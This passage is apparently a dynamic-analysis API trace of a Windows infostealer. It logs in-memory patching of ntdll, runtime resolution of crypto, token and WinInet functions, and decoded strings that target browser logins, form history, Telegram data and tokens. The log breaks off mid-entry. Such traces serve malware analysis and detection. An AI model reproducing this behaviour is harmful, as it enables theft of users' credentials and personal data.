(hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.985] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.986] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.986] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.987] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.987] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.988] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.988] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.989] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.989] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.990] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.990] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.991] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.991] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.991] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.992] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.992] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.993] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.993] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.994] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.994] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.995] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.995] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.996] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.996] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.997] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.997] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.998] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.998] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0246.054] CloseHandle (hObject=0x5c) returned 1 [0246.055] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0xc) returned 0x860c38 [0246.056] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0xa) returned 0x860c50 [0246.056] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76f00000 [0246.057] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0xc) returned 0x860c68 [0246.057] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x17) returned 0x860c80 [0246.063] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x10) returned 0x860ca0 [0246.064] GetSystemInfo (in: lpSystemInfo=0x24ec08 | out: lpSystemInfo=0x24ec08*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0246.064] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x120000 [0246.065] GetCurrentProcess () returned 0xffffffff [0246.065] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x120005, lpBuffer=0x24ebec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ebec*, lpNumberOfBytesWritten=0x0) returned 1 [0246.067] GetCurrentProcess () returned 0xffffffff [0246.067] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x12000f, lpBuffer=0x24ec2c*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ec2c*, lpNumberOfBytesWritten=0x0) returned 1 [0246.069] GetCurrentProcess () returned 0xffffffff [0246.069] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f20028, lpBuffer=0x24ebec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ebec*, lpNumberOfBytesWritten=0x0) returned 1 [0246.070] GetCurrentProcess () returned 0xffffffff [0246.071] VirtualProtect (in: lpAddress=0x120000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x24ec34 | out: lpflOldProtect=0x24ec34*=0x40) returned 1 [0246.071] GetCurrentProcess () returned 0xffffffff [0246.072] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x4) returned 0x860cb8 [0246.073] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0xc) returned 0x860cc8 [0246.073] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x13) returned 0x860ce0 [0246.080] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x10) returned 0x860d00 [0246.080] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x130000 [0246.103] GetCurrentProcess () returned 0xffffffff [0246.103] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x130007, lpBuffer=0x24ebec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ebec*, lpNumberOfBytesWritten=0x0) returned 1 [0246.103] GetCurrentProcess () returned 0xffffffff [0246.104] GetCurrentProcess () returned 0xffffffff [0246.106] GetCurrentProcess () returned 0xffffffff [0246.106] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x130013, lpBuffer=0x24ec2c*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ec2c*, lpNumberOfBytesWritten=0x0) returned 1 [0246.106] GetCurrentProcess () returned 0xffffffff [0246.107] GetCurrentProcess () returned 0xffffffff [0246.109] GetCurrentProcess () returned 0xffffffff [0246.109] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f9f7ea, lpBuffer=0x24ebec*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x24ebec*, lpNumberOfBytesWritten=0x0) returned 1 [0246.109] GetCurrentProcess () returned 0xffffffff [0246.110] GetCurrentProcess () returned 0xffffffff [0246.111] VirtualProtect (in: lpAddress=0x130000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x24ec34 | out: lpflOldProtect=0x24ec34*=0x40) returned 1 [0246.111] GetCurrentProcess () returned 0xffffffff [0246.112] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x8) returned 0x860d18 [0246.112] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x860cb8 | out: hHeap=0x860000) returned 1 [0246.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xc8f000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x20, OldAccessProtection=0x24fa08 | out: BaseAddress=0x24f3f0*=0xc8f000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa08*=0x80) returned 0x0 [0246.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xc8b000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x2, OldAccessProtection=0x24fa08 | out: BaseAddress=0x24f3f0*=0xc8b000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa08*=0x4) returned 0x0 [0246.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xcb4000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x4, OldAccessProtection=0x24fa08 | out: BaseAddress=0x24f3f0*=0xcb4000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa08*=0x20) returned 0x0 [0246.130] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0246.130] GetProcAddress (hModule=0x752b0000, lpProcName="LoadLibraryW") returned 0x752c48e3 [0246.130] LoadLibraryW (lpLibFileName="Shlwapi.dll") returned 0x751c0000 [0246.132] GetCurrentProcess () returned 0xffffffff [0246.133] GetCurrentProcess () returned 0xffffffff [0246.134] LoadLibraryW (lpLibFileName="Ole32.dll") returned 0x75740000 [0246.135] GetCurrentProcess () returned 0xffffffff [0246.163] GetCurrentProcess () returned 0xffffffff [0246.166] LoadLibraryW (lpLibFileName="WinInet.dll") returned 0x755b0000 [0246.934] GetCurrentProcess () returned 0xffffffff [0248.246] GetCurrentProcess () returned 0xffffffff [0248.385] GetCurrentProcess () returned 0xffffffff [0248.386] GetCurrentProcess () returned 0xffffffff [0249.690] GetCurrentProcess () returned 0xffffffff [0250.037] GetCurrentProcess () returned 0xffffffff [0250.038] GetCurrentProcess () returned 0xffffffff [0250.039] GetCurrentProcess () returned 0xffffffff [0250.526] GetCurrentProcess () returned 0xffffffff [0250.569] GetCurrentProcess () returned 0xffffffff [0250.570] GetCurrentProcess () returned 0xffffffff [0250.570] GetCurrentProcess () returned 0xffffffff [0250.801] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x76a60000 [0250.801] LoadLibraryW (lpLibFileName="User32.dll") returned 0x76860000 [0250.802] LoadLibraryW (lpLibFileName="Crypt32.dll") returned 0x74ab0000 [0250.802] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75be0000 [0250.805] GetCurrentProcess () returned 0xffffffff [0250.808] GetCurrentProcess () returned 0xffffffff [0250.810] LoadLibraryW (lpLibFileName="Bcrypt.dll") returned 0x749f0000 [0251.937] GetCurrentProcess () returned 0xffffffff [0251.950] GetCurrentProcess () returned 0xffffffff [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcAddress") returned 0x752c1222 [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetCurrentProcess") returned 0x752c17e9 [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetEnvironmentVariableW") returned 0x752c1b28 [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetFileSize") returned 0x752c194e [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetDriveTypeW") returned 0x752c4143 [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetLastError") returned 0x752c11c0 [0251.972] GetProcAddress (hModule=0x752b0000, lpProcName="GetLocaleInfoW") returned 0x752c3bf2 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GetLogicalDriveStringsW") returned 0x7534490f [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GetModuleFileNameW") returned 0x752c4908 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GetSystemWow64DirectoryW") returned 0x752cd92d [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GetUserDefaultLocaleName") returned 0x75344d61 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GetTimeZoneInformation") returned 0x752c4612 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GlobalAlloc") returned 0x752c5846 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GlobalFree") returned 0x752c5510 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="GlobalMemoryStatusEx") returned 0x752ed4b4 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="CloseHandle") returned 0x752c13f0 [0251.973] GetProcAddress (hModule=0x752b0000, lpProcName="CreateFileW") returned 0x752c3f0c [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="CreateMutexW") returned 0x752c4204 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="CopyFileW") returned 0x752e82d5 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="DeleteFileW") returned 0x752c896b [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="FindClose") returned 0x752c43fa [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="FindFirstFileW") returned 0x752c43ed [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="FindNextFileW") returned 0x752c54a6 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="CreateToolhelp32Snapshot") returned 0x752e7327 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="HeapFree") returned 0x752c14a9 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="ExitProcess") returned 0x752c79c8 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="OpenMutexW") returned 0x752c5109 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="OpenProcess") returned 0x752c1966 [0251.974] GetProcAddress (hModule=0x752b0000, lpProcName="LocalFree") returned 0x752c2cec [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="LocalAlloc") returned 0x752c166c [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="MultiByteToWideChar") returned 0x752c190e [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="ReadFile") returned 0x752c3e83 [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="Process32First") returned 0x752e8abb [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="Process32Next") returned 0x752e8812 [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="SetCurrentDirectoryW") returned 0x752d1218 [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="SetEnvironmentVariableW") returned 0x752c89a9 [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="Sleep") returned 0x752c10ff [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="lstrcpyA") returned 0x752e2a6d [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="lstrcmpiW") returned 0x752dd59d [0251.975] GetProcAddress (hModule=0x752b0000, lpProcName="lstrcmpA") returned 0x752decbb [0251.976] GetProcAddress (hModule=0x752b0000, lpProcName="lstrcmpW") returned 0x752c58e1 [0251.976] GetProcAddress (hModule=0x752b0000, lpProcName="lstrlenA") returned 0x752c5a03 [0251.976] GetProcAddress (hModule=0x752b0000, lpProcName="lstrlenW") returned 0x752c16e0 [0251.976] GetProcAddress (hModule=0x752b0000, lpProcName="WriteFile") returned 0x752c1282 [0251.976] GetProcAddress (hModule=0x752b0000, lpProcName="WideCharToMultiByte") returned 0x752c16ed [0251.976] GetProcAddress (hModule=0x75be0000, lpProcName="ShellExecuteW") returned 0x75bf3c71 [0251.976] GetProcAddress (hModule=0x75be0000, lpProcName="SHGetFolderPathW") returned 0x75c65708 [0251.977] GetProcAddress (hModule=0x75be0000, lpProcName="SHGetSpecialFolderPathW") returned 0x75c00468 [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="PathMatchSpecW") returned 0x751d86f7 [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="PathCombineW") returned 0x751dc39c [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="StrRChrW") returned 0x751d3ef0 [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="StrCpyW") returned 0x751fe025 [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="StrStrA") returned 0x751ec45b [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="StrStrW") returned 0x751ce52d [0251.977] GetProcAddress (hModule=0x751c0000, lpProcName="StrStrIW") returned 0x751d46e9 [0251.978] GetProcAddress (hModule=0x751c0000, lpProcName="StrToIntA") returned 0x751ecd65 [0251.978] GetProcAddress (hModule=0x751c0000, lpProcName="StrToIntW") returned 0x751d50be [0251.978] GetProcAddress (hModule=0x751c0000, lpProcName="StrToInt64ExW") returned 0x751f01db [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="ConvertSidToStringSidW") returned 0x76a74344 [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="CreateProcessWithTokenW") returned 0x76aa531f [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="DuplicateTokenEx") returned 0x76a6ca24 [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="GetTokenInformation") returned 0x76a7431c [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="GetUserNameW") returned 0x76a7157a [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="OpenProcessToken") returned 0x76a74304 [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="RegCloseKey") returned 0x76a7469d [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="RegEnumKeyExW") returned 0x76a746c8 [0251.978] GetProcAddress (hModule=0x76a60000, lpProcName="RegOpenKeyExW") returned 0x76a7468d [0251.979] GetProcAddress (hModule=0x76a60000, lpProcName="RegQueryValueExW") returned 0x76a746ad [0251.979] GetProcAddress (hModule=0x76a60000, lpProcName="SystemFunction036") returned 0x76a61919 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="CharUpperW") returned 0x7687f350 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="EnumDisplayDevicesW") returned 0x7689e567 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="GetClientRect") returned 0x76880c62 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="GetDC") returned 0x768772c4 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="GetDesktopWindow") returned 0x76880a19 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="GetSystemMetrics") returned 0x76877d2f [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="ReleaseDC") returned 0x76877446 [0251.979] GetProcAddress (hModule=0x76860000, lpProcName="wsprintfW") returned 0x7689e061 [0251.979] GetProcAddress (hModule=0x75740000, lpProcName="CoInitialize") returned 0x7575b636 [0251.980] GetProcAddress (hModule=0x75740000, lpProcName="CoCreateInstance") returned 0x75789d0b [0251.980] GetProcAddress (hModule=0x74ab0000, lpProcName="CryptStringToBinaryA") returned 0x74ae0257 [0251.980] GetProcAddress (hModule=0x74ab0000, lpProcName="CryptStringToBinaryW") returned 0x74ae0445 [0251.980] GetProcAddress (hModule=0x74ab0000, lpProcName="CryptBinaryToStringW") returned 0x74aea239 [0251.980] GetProcAddress (hModule=0x74ab0000, lpProcName="CryptUnprotectData") returned 0x74ae7f17 [0251.980] GetProcAddress (hModule=0x755b0000, lpProcName="InternetConnectW") returned 0x755d492c [0251.980] GetProcAddress (hModule=0x755b0000, lpProcName="InternetOpenW") returned 0x755d9197 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetSetOptionW") returned 0x755c7741 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetOpenUrlA") returned 0x755f30f1 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetOpenUrlW") returned 0x7562be5c [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetReadFileExW") returned 0x755fae0e [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetReadFile") returned 0x755cb406 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="InternetCloseHandle") returned 0x755cab49 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="HttpOpenRequestW") returned 0x755d4a42 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="HttpSendRequestW") returned 0x755dba12 [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="HttpQueryInfoA") returned 0x755ca33e [0251.981] GetProcAddress (hModule=0x755b0000, lpProcName="HttpQueryInfoW") returned 0x755d5c75 [0251.982] lstrlenA (lpString="tlgrm_") returned 6 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x6adbb8 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b834, cbMultiByte=-1, lpWideCharStr=0x6adbb8, cchWideChar=6 | out: lpWideCharStr="tlgrm_") returned 0 [0251.983] lstrlenA (lpString="ews_") returned 4 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x6ae808 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b83c, cbMultiByte=-1, lpWideCharStr=0x6ae808, cchWideChar=4 | out: lpWideCharStr="ews_") returned 0 [0251.983] lstrlenA (lpString="token:") returned 6 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x6adbe0 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba8c, cbMultiByte=-1, lpWideCharStr=0x6adbe0, cchWideChar=6 | out: lpWideCharStr="token:") returned 0 [0251.983] lstrlenA (lpString="%s\x09TRUE\x09%s\x09%s\x09%s\x09%s\x09%s\n") returned 23 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x6a50d0 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b84c, cbMultiByte=-1, lpWideCharStr=0x6a50d0, cchWideChar=23 | out: lpWideCharStr="%s\x09TRUE\x09%s\x09%s\x09%s\x09%s\x09%s\n") returned 0 [0251.983] lstrlenA (lpString="\x09- CPU: %s (%d cores)\n") returned 22 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x3c) returned 0x6a5118 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b910, cbMultiByte=-1, lpWideCharStr=0x6a5118, cchWideChar=22 | out: lpWideCharStr="\x09- CPU: %s (%d cores)\n") returned 0 [0251.983] lstrlenA (lpString="\x09\x09%d) %s\n") returned 9 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x22) returned 0x6aaaf0 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b87c, cbMultiByte=-1, lpWideCharStr=0x6aaaf0, cchWideChar=9 | out: lpWideCharStr="\x09\x09%d) %s\n") returned 0 [0251.983] lstrlenA (lpString="grbr_") returned 5 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x6adc08 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b844, cbMultiByte=-1, lpWideCharStr=0x6adc08, cchWideChar=5 | out: lpWideCharStr="grbr_") returned 0 [0251.983] lstrlenA (lpString="\x09- Display Devices:\n%s\n") returned 23 [0251.983] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x6a5160 [0251.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b928, cbMultiByte=-1, lpWideCharStr=0x6a5160, cchWideChar=23 | out: lpWideCharStr="\x09- Display Devices:\n%s\n") returned 0 [0251.983] lstrlenA (lpString="\x09- Locale: %s\n") returned 14 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab098 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b888, cbMultiByte=-1, lpWideCharStr=0x6ab098, cchWideChar=14 | out: lpWideCharStr="\x09- Locale: %s\n") returned 0 [0251.984] lstrlenA (lpString="URL:%s\nUSR:%s\nPASS:%s\n") returned 22 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x3c) returned 0x6a51a8 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b864, cbMultiByte=-1, lpWideCharStr=0x6a51a8, cchWideChar=22 | out: lpWideCharStr="URL:%s\nUSR:%s\nPASS:%s\n") returned 0 [0251.984] lstrlenA (lpString="\x09- OS: %s\n") returned 10 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6aab20 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b898, cbMultiByte=-1, lpWideCharStr=0x6aab20, cchWideChar=10 | out: lpWideCharStr="\x09- OS: %s\n") returned 0 [0251.984] lstrlenA (lpString="\x09- RAM: %d MB\n") returned 14 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab0d0 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b8a4, cbMultiByte=-1, lpWideCharStr=0x6ab0d0, cchWideChar=14 | out: lpWideCharStr="\x09- RAM: %d MB\n") returned 0 [0251.984] lstrlenA (lpString="\x09- Time zone: %c%ld minutes from GMT\n") returned 37 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x5a) returned 0x6ae828 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b8b4, cbMultiByte=-1, lpWideCharStr=0x6ae828, cchWideChar=37 | out: lpWideCharStr="\x09- Time zone: %c%ld minutes from GMT\n") returned 0 [0251.984] lstrlenA (lpString="\x09- Display size: %dx%d\n") returned 23 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x6a51f0 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b8dc, cbMultiByte=-1, lpWideCharStr=0x6a51f0, cchWideChar=23 | out: lpWideCharStr="\x09- Display size: %dx%d\n") returned 0 [0251.984] lstrlenA (lpString="%d") returned 2 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6ae890 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b8f4, cbMultiByte=-1, lpWideCharStr=0x6ae890, cchWideChar=2 | out: lpWideCharStr="%d") returned 0 [0251.984] lstrlenA (lpString="\x09- Architecture: x%d\n") returned 21 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x6a5238 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b8f8, cbMultiByte=-1, lpWideCharStr=0x6a5238, cchWideChar=21 | out: lpWideCharStr="\x09- Architecture: x%d\n") returned 0 [0251.984] lstrlenA (lpString="formhistory.sqlite") returned 18 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x34) returned 0x6ae8b0 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b940, cbMultiByte=-1, lpWideCharStr=0x6ae8b0, cchWideChar=18 | out: lpWideCharStr="formhistory.sqlite") returned 0 [0251.984] lstrlenA (lpString="*") returned 1 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae8f0 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b954, cbMultiByte=-1, lpWideCharStr=0x6ae8f0, cchWideChar=1 | out: lpWideCharStr="*") returned 0 [0251.984] lstrlenA (lpString="\\") returned 1 [0251.984] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae910 [0251.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b958, cbMultiByte=-1, lpWideCharStr=0x6ae910, cchWideChar=1 | out: lpWideCharStr="\\") returned 0 [0251.984] lstrlenA (lpString="\n") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae930 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b95c, cbMultiByte=-1, lpWideCharStr=0x6ae930, cchWideChar=1 | out: lpWideCharStr="\n") returned 0 [0251.985] lstrlenA (lpString="\r\n") returned 2 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6ae950 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b960, cbMultiByte=-1, lpWideCharStr=0x6ae950, cchWideChar=2 | out: lpWideCharStr="\r\n") returned 0 [0251.985] lstrlenA (lpString=":") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae970 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b964, cbMultiByte=-1, lpWideCharStr=0x6ae970, cchWideChar=1 | out: lpWideCharStr=":") returned 0 [0251.985] lstrlenA (lpString="%") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae990 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b968, cbMultiByte=-1, lpWideCharStr=0x6ae990, cchWideChar=1 | out: lpWideCharStr="%") returned 0 [0251.985] lstrlenA (lpString=";") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae9b0 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b96c, cbMultiByte=-1, lpWideCharStr=0x6ae9b0, cchWideChar=1 | out: lpWideCharStr=";") returned 0 [0251.985] lstrlenA (lpString="_") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6ae9d0 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b970, cbMultiByte=-1, lpWideCharStr=0x6ae9d0, cchWideChar=1 | out: lpWideCharStr="_") returned 0 [0251.985] lstrlenA (lpString="|") returned 1 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6aea08 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b974, cbMultiByte=-1, lpWideCharStr=0x6aea08, cchWideChar=1 | out: lpWideCharStr="|") returned 0 [0251.985] lstrlenA (lpString="logins.json") returned 11 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6aab50 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 